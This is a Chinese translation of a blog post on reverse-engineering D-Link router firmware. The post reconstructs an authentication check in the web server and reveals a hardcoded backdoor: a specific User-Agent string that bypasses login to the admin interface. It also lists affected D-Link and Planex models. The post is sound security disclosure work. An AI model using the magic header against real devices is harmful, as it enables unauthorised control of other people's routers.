看我如何反編譯D-Link路由器固件程序并發(fā)現(xiàn)其后門
OK,又是周末晚上,沒有約會,只有一大瓶Shasta汽水和全是快節(jié)奏的音樂…那就研究一下程序吧。
一時興起,我下載了D-link無線路由器(型號:DIR-100 revA)的固件程序 v1.13。使用工具Binwalk,很快的就從中發(fā)現(xiàn)并提取出一個只讀SquashFS文件系統(tǒng),沒用多大功夫我就將這個固件程序的web server(/bin/webs)加載到了IDA中:
基于上面的字符信息可以看出,這個/bin/webs二進制程序是一個修改版的thttpd,提供路由器管理員界面操作功能??雌饋硎墙?jīng)過了臺灣明泰科技(D-Link的一個子公司)的修改。他們甚至很有心計的將他們很多自定義的函數(shù)名都輔以“alpha”前綴:
這個alpha_auth_check函數(shù)看起來很有意思!
這個函數(shù)被很多地方調(diào)用,最明顯的一個是來自alpha_httpd_parse_request函數(shù):
我們可以看到alpha_auth_check函數(shù)接收一個參數(shù)(是存放在寄存器$s2里);如果alpha_auth_check返回-1(0xFFFFFFFF),程序?qū)?strong>alpha_httpd_parse_request的結(jié)尾處,否則,它將繼續(xù)處理請求。
寄存器$s2在被alpha_auth_check函數(shù)使用前的一些操作代碼顯示,它是一個指向一個數(shù)據(jù)結(jié)構(gòu)體的指針,里面有一個char*指針,會指向從HTTP請求里接收到的各種數(shù)據(jù);比如HTTP頭信息和請求地址URL:
我們現(xiàn)在可以模擬出alpha_auth_check函數(shù)和數(shù)據(jù)結(jié)構(gòu)體的大概樣子:
- struct http_request_t
- {
- char unknown[0xB8];
- char *url; // At offset 0xB8 into the data structure
- };
- int alpha_auth_check(struct http_request_t *request);
alpha_auth_check本身是一個非常簡單的函數(shù)。它會針對http_request_t結(jié)構(gòu)體里的一些指針進行字符串strcmp比較操作,然后調(diào)用check_login函數(shù),實際上就是身份驗證檢查。如果一旦有字符串比較成功或check_login成功,它會返回1;否者,它會重定向瀏覽器到登錄頁,返回-1;
這些字符串比較過程看起來非常有趣。它們提取請求的URL地址(在http_request_t數(shù)據(jù)結(jié)構(gòu)體的偏移量0xB8處),檢查它們是否含有字符串“graphic/” 或 “public/”。這些都是位于路由器的Web目錄下的公開子目錄,如果請求地址包含這樣的字符串,這些請求就可以不經(jīng)身份認證就能執(zhí)行。
然而,這***一個strcmp卻是相當?shù)奈矍颍?/p>
這個操作是將http_request_t結(jié)構(gòu)體中偏移量0xD0的字符串指針和字符串“xmlset_roodkcableoj28840ybtide”比較,如果字符匹配,就會跳過check_login函數(shù),alpha_auth_check操作返回1(認證通過)。
我在谷歌上搜索了一下“xmlset_roodkcableoj28840ybtide”字符串,只發(fā)現(xiàn)在一個俄羅斯論壇里提到過它,說這是一個在/bin/webs里一個“非常有趣”的一行。我非常同意。
那么,這個神秘的字符串究竟是和什么東西進行比較?如果回顧一下調(diào)用路徑,我們會發(fā)現(xiàn)http_request_t結(jié)構(gòu)體被傳進了好幾個函數(shù):
事實證明,http_request_t結(jié)構(gòu)體中處在偏移量 0xD0處的指針是由httpd_parse_request函數(shù)賦值的:
這代碼實際上就是:
- if(strstr(header, "User-Agent:") != NULL)
- {
- http_request_t->0xD0 = header + strlen("User-Agent:") + strspn(header, " \t");
- }
知道了http_request_t偏移量0xD0處的指針指向User-Agent頭信息,我們可以推測出alpha_auth_check函數(shù)的結(jié)構(gòu):
- #define AUTH_OK 1
- #define AUTH_FAIL -1
- int alpha_auth_check(struct http_request_t *request)
- {
- if(strstr(request->url, "graphic/") ||
- strstr(request->url, "public/") ||
- strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
- {
- return AUTH_OK;
- }
- else
- {
- // These arguments are probably user/pass or session info
- if(check_login(request->0xC, request->0xE0) != 0)
- {
- return AUTH_OK;
- }
- }
- return AUTH_FAIL;
- }
換句話說,如果瀏覽器的User-Agent值是“xmlset_roodkcableoj28840ybtide”(不帶引號),你就可以不經(jīng)任 何認證而能訪問web控制界面,能夠查看/修改路由器的設置(下面是D-Link路由器(DI-524UP)的截圖,我沒有 DIR-100型號的,但DI-524UP型號使用的是相同的固件):
基于HTML頁上的源代碼信息和Shodan搜索結(jié)果,差不多可以得出這樣的結(jié)論:下面的這些型號的D-Link路由器將會受到影響:
- DIR-100
- DI-524
- DI-524UP
- DI-604S
- DI-604UP
- DI-604+
- TM-G5240
除此之外,幾款Planex路由器顯然也是用的同樣的固件程序:
- BRL-04UR
- BRL-04CW
你很酷呀,D-Link。
腳注:***的網(wǎng)友指出,字符串“xmlset_roodkcableoj28840ybtide”是一個倒序 文,反過來讀就是“editby04882joelbackdoor_teslmx”——edit by 04882joel backdoor _teslmx,這個后門的作者真是位天才!
原文鏈接:http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/